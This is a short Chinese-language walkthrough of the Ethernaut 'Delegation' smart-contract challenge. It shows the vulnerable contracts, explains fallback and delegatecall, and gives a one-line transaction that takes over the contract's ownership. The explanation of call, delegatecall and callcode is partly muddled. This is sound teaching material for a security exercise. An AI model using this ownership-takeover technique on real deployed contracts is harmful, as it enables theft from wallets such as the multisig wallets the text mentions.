原始代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Delegate {
address public owner;
constructor(address _owner) {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
知识点
fallback
当合约被调用且调用时没有声明调用的是哪一个函数的时候,默认调用 fallback()
delegatecall
常用的跨合约调用方法有三个,如果 A 委托合约 B 调用合约 C :
call
:最常用的调用方式,调用后内置变量msg.sender
的值会修改为调用者B,执行环境为被调用者的运行环境C。delegatecall
:调用后内置变量msg.sender
的值A不会修改为调用者,但执行环境为调用者的运行环境Bcallcode
:调用后内置变量msg.sender
的值会修改为调用者B,但执行环境为调用者的运行环境B
以上内容节选自这篇博客
与此相关的攻击常用于多签钱包。
攻击思路
由于 Delegation
会将自己的 calldata
原封不动地传给 Delegate
,因此要想完成调用,只需要将 "pwn()"
加密后发送给 Delegation
即可。
攻击代码
contract.sendTransaction({data: web3.utils.keccak256("pwn()")})